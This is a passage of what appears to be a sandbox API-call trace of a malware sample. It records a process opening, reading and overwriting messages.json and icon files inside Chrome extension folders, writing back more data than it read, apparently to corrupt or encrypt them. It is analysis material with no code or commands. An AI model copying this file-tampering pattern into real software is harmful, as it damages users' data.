(lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0054.105] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.105] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xc6 [0054.105] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.105] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.105] ReleaseMutex (hMutex=0x128) returned 1 [0054.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0054.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0054.105] ReadFile (in: hFile=0x1d4, lpBuffer=0x1daea48, nNumberOfBytesToRead=0xc6, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1daea48*, lpNumberOfBytesRead=0x2a0f2bc*=0xc6, lpOverlapped=0x0) returned 1 [0054.106] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0054.106] WriteFile (in: hFile=0x1d4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x64e, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2a0f2d0*=0x64e, lpOverlapped=0x0) returned 1 [0054.106] CloseHandle (hObject=0x1d4) returned 1 [0054.107] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0054.107] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.107] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xd9 [0054.107] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.107] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.107] ReleaseMutex (hMutex=0x128) returned 1 [0054.107] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0054.107] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0054.107] ReadFile (in: hFile=0x1d4, lpBuffer=0x25c4ea8, nNumberOfBytesToRead=0xd9, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c4ea8*, lpNumberOfBytesRead=0x2a0f2bc*=0xd9, lpOverlapped=0x0) returned 1 [0054.108] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0054.109] WriteFile (in: hFile=0x1d4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x661, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2a0f2d0*=0x661, lpOverlapped=0x0) returned 1 [0054.109] CloseHandle (hObject=0x1d4) returned 1 [0054.109] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0054.109] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.109] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x96 [0054.110] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.110] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.110] ReleaseMutex (hMutex=0x128) returned 1 [0054.110] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0054.110] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0054.110] ReadFile (in: hFile=0x1d4, lpBuffer=0x2516408, nNumberOfBytesToRead=0x96, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2516408*, lpNumberOfBytesRead=0x2a0f2bc*=0x96, lpOverlapped=0x0) returned 1 [0054.111] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0054.111] WriteFile (in: hFile=0x1d4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x61e, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2a0f2d0*=0x61e, lpOverlapped=0x0) returned 1 [0054.111] CloseHandle (hObject=0x1d4) returned 1 [0054.111] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0054.111] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.111] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xb3 [0054.112] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.112] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.112] ReleaseMutex (hMutex=0x128) returned 1 [0054.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0054.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0054.112] ReadFile (in: hFile=0x1d4, lpBuffer=0x1e36f48, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e36f48*, lpNumberOfBytesRead=0x2a0f2bc*=0xb3, lpOverlapped=0x0) returned 1 [0054.113] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0054.113] WriteFile (in: hFile=0x1d4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63b, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2a0f2d0*=0x63b, lpOverlapped=0x0) returned 1 [0054.113] CloseHandle (hObject=0x1d4) returned 1 [0054.113] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_hk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0054.114] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.114] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xd2 [0054.114] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.114] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.114] ReleaseMutex (hMutex=0x128) returned 1 [0054.114] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0054.114] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0054.114] ReadFile (in: hFile=0x1d4, lpBuffer=0x1daea48, nNumberOfBytesToRead=0xd2, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1daea48*, lpNumberOfBytesRead=0x2a0f2bc*=0xd2, lpOverlapped=0x0) returned 1 [0054.115] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0054.115] WriteFile (in: hFile=0x1d4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x65a, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2a0f2d0*=0x65a, lpOverlapped=0x0) returned 1 [0054.115] CloseHandle (hObject=0x1d4) returned 1 [0054.115] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0054.116] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.116] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x1109 [0054.116] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.116] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.116] ReleaseMutex (hMutex=0x128) returned 1 [0054.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon_128.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0054.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon_128.png", cchWideChar=12, lpMultiByteStr=0x1e6324c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon_128.png", lpUsedDefaultChar=0x0) returned 12 [0054.116] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d84048, nNumberOfBytesToRead=0x1109, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesRead=0x2a0f2bc*=0x1109, lpOverlapped=0x0) returned 1 [0054.118] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0054.118] WriteFile (in: hFile=0x1d4, lpBuffer=0x1d84048*, nNumberOfBytesToWrite=0x1691, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesWritten=0x2a0f2d0*=0x1691, lpOverlapped=0x0) returned 1 [0054.118] CloseHandle (hObject=0x1d4) returned 1 [0054.118] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0054.119] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.119] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x297 [0054.119] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.119] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.119] ReleaseMutex (hMutex=0x128) returned 1 [0054.119] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0054.119] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0054.119] ReadFile (in: hFile=0x1d4, lpBuffer=0x2739318, nNumberOfBytesToRead=0x297, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2739318*, lpNumberOfBytesRead=0x2a0f2bc*=0x297, lpOverlapped=0x0) returned 1 [0054.120] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0054.121] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x81f, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2a0f2d0*=0x81f, lpOverlapped=0x0) returned 1 [0054.121] CloseHandle (hObject=0x1d4) returned 1 [0054.121] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0054.121] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.121] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x2b4 [0054.121] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.122] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.122] ReleaseMutex (hMutex=0x128) returned 1 [0054.122] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0054.122] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0054.122] ReadFile (in: hFile=0x1d4, lpBuffer=0x2739318, nNumberOfBytesToRead=0x2b4, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2739318*, lpNumberOfBytesRead=0x2a0f2bc*=0x2b4, lpOverlapped=0x0) returned 1 [0054.132] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0054.132] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x83c, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2a0f2d0*=0x83c, lpOverlapped=0x0) returned 1 [0054.132] CloseHandle (hObject=0x1d4) returned 1 [0054.132] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0054.133] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.133] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x2bb [0054.133] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.133] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.133] ReleaseMutex (hMutex=0x128) returned 1 [0054.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0054.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0054.133] ReadFile (in: hFile=0x1d4, lpBuffer=0x2739318, nNumberOfBytesToRead=0x2bb, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2739318*, lpNumberOfBytesRead=0x2a0f2bc*=0x2bb, lpOverlapped=0x0) returned 1 [0054.135] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0054.135] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x843, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2a0f2d0*=0x843, lpOverlapped=0x0) returned 1 [0054.135] CloseHandle (hObject=0x1d4) returned 1 [0054.135] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0054.136] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.136] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x32c [0054.136] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.136] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.136] ReleaseMutex (hMutex=0x128) returned 1 [0054.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0054.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0054.136] ReadFile (in: hFile=0x1d4, lpBuffer=0x2750828, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2750828*, lpNumberOfBytesRead=0x2a0f2bc*=0x32c, lpOverlapped=0x0) returned 1 [0054.137] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: 